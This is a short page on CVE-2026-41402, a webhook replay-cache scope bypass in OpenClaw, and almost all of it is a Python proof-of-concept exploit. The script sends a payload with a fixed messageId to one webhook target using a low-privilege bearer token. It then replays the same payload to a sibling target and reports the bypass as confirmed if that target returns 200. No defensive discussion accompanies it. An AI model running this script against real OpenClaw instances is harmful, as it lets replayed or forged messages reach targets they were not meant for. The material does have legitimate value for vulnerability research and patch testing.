CVE-2026-41402 OpenClaw Webhook重放缓存作用域绕过漏洞

import requests # Configuration TARGET_A_URL = "https://openclaw-instance/api/webhook/target_a" TARGET_B_URL = "https://openclaw-instance/api/webhook/target_b" ATTACKER_TOKEN = "<low_privilege_token>" HEADERS = { "Content-Type": "application/json", "Authorization": f"Bearer {ATTACKER_TOKEN}" } # Payload with a specific MessageId intended for Target A payload = { "messageId": "msg-unique-id-12345", "content": "Malicious or replayed data" } print("[*] Step 1: Sending message to Target A to populate cache...") response_a = requests.post(TARGET_A_URL, json=payload, headers=HEADERS) print(f"[*] Target A Response Status: {response_a.status_code}") print("[*] Step 2: Attempting to replay the same message to Target B...") # Using the exact same payload with the same messageId response_b = requests.post(TARGET_B_URL, json=payload, headers=HEADERS) print(f"[*] Target B Response Status: {response_b.status_code}") # Analysis if response_b.status_code == 200: print("[+] Vulnerability Confirmed: Message was successfully replayed to a sibling target.") print("[+] The cache deduplication scope is overly broad (bypassed).") else: print("[-] Exploit failed or target is patched.")